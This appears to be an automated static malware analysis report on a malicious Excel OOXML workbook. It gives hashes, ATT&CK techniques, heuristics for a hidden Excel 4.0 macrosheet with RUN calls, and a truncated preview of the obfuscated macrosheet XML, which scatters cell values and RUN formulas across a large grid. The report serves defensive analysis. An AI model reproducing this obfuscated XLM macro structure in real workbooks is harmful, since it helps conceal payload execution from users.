Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 06ac09e487c9892a…

MALICIOUS

Office (OOXML)

79.7 KB Created: 2020-05-04 09:50:05 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 8b268d8858866a94ebc63f5f608e83c6 SHA-1: 8f5d878aa901ac4eb71b3b921e432187e16dd716 SHA-256: 06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, identified by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_DANGEROUS_FN' heuristics. The macro sheet contains a 'RUN' function call, which is a dangerous API used to execute arbitrary commands. This strongly suggests the macro is intended to download and execute a second-stage payload. No specific family could be identified.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: RUN, FORMULA.FILL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 216336 bytes
SHA-256: f1c72fad064081ddca14c67f86d67b05ec819fc23a3ef06d8759a72388869b63
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1A0A316E-1ACE-49C6-8DF8-E452005B30DF}"><dimension ref="A32:IU65500"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="32" spans="111:111" x14ac:dyDescent="0.25"><c r="DG32"><v>108</v></c></row><row r="186" spans="207:207" x14ac:dyDescent="0.25"><c r="GY186" t="b"><f>RUN(K455)</f><v>0</v></c></row><row r="210" spans="186:186" x14ac:dyDescent="0.25"><c r="GD210"><v>-0.31161473087818697</v></c></row><row r="229" spans="20:20" x14ac:dyDescent="0.25"><c r="T229"><v>1.9230769230769231</v></c></row><row r="255" spans="123:123" x14ac:dyDescent="0.25"><c r="DS255"><v>61.3</v></c></row><row r="282" spans="143:143" x14ac:dyDescent="0.25"><c r="EM282"><v>-9.4275000000000002</v></c></row><row r="293" spans="210:210" x14ac:dyDescent="0.25"><c r="HB293"><v>5.2727272727272725</v></c></row><row r="326" spans="143:143" x14ac:dyDescent="0.25"><c r="EM326"><v>496</v></c></row><row r="359" spans="39:39" x14ac:dyDescent="0.25"><c r="AM359"><v>-349</v></c></row><row r="428" spans="241:241" x14ac:dyDescent="0.25"><c r="IG428"><v>1.2903225806451613</v></c></row><row r="456" spans="11:11" x14ac:dyDescent="0.25"><c r="K456" t="b"><f>RUN(EX50933)</f><v>0</v></c></row><row r="477" spans="101:101" x14ac:dyDescent="0.25"><c r="CW477"><v>-366.5</v></c></row><row r="507" spans="86:86" x14ac:dyDescent="0.25"><c r="CH507"><v>-4.67741935483871</v></c></row><row r="521" spans="10:10" x14ac:dyDescent="0.25"><c r="J521"><v>-30</v></c></row><row r="532" spans="129:129" x14ac:dyDescent="0.25"><c r="DY532"><v>2.1090909090909089</v></c></row><row r="592" spans="209:209" x14ac:dyDescent="0.25"><c r="HA592"><v>56.3</v></c></row><row r="692" spans="126:126" x14ac:dyDescent="0.25"><c r="DV692"><v>-538.375</v></c></row><row r="717" spans="251:251" x14ac:dyDescent="0.25"><c r="IQ717"><v>1270.75</v></c></row><row r="726" spans="191:195" x14ac:dyDescent="0.25"><c r="GI726"><v>0.38750000000000001</v></c><c r="GM726"><v>-0.50866336633663367</v></c></row><row r="780" spans="195:195" x14ac:dyDescent="0.25"><c r="GM780"><v>317</v></c></row><row r="785" spans="216:244" x14ac:dyDescent="0.25"><c r="IJ785"><v>-0.23945783132530121</v></c></row><row r="799" spans="216:244" x14ac:dyDescent="0.25"><c r="HH799"><v>-504</v></c></row><row r="847" spans="241:241" x14ac:dyDescent="0.25"><c r="IG847"><v>-5.9537572254335256</v></c></row><row r="910" spans="74:74" x14ac:dyDescent="0.25"><c r="BV910"><v>-120</v></c></row><row r="1037" spans="201:201" x14ac:dyDescent="0.25"><c r="GS1037"><v>-120.375</v></c></row><row r="1056" spans="160:160" x14ac:dyDescent="0.25"><c r="FD1056"><v>-280</v></c></row><row r="1166" spans="91:91" x14ac:dyDescent="0.25"><c r="CM1166"><v>-0.50866336633663367</v></c></row><row r="1178" spans="237:237" x14ac:dyDescent="0.25"><c r="IC1178"><v>-597</v></c></row><row r="1202" spans="229:229" x14ac:dyDescent="0.25"><c r="HU1202"><v>-161.375</v></c></row><row r="1229" spans="176:176" x14ac:dyDescent="0.25"><c r="FT1229"><v>4.6000000000000014</v></c></row><row r="1240" spans="152:152" x14ac:dyDescent="0.25"><c r="EV1240"><v>-5.3048780487804876</v></c></row><row r="1266" spans="204:204" x14ac:dyDescent="0.25"><c r="GV1266"><v>-59.875</v></c></row><row r="1305" spans="227:227" x14ac:dyDescent="0.25"><c r="HS1305
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.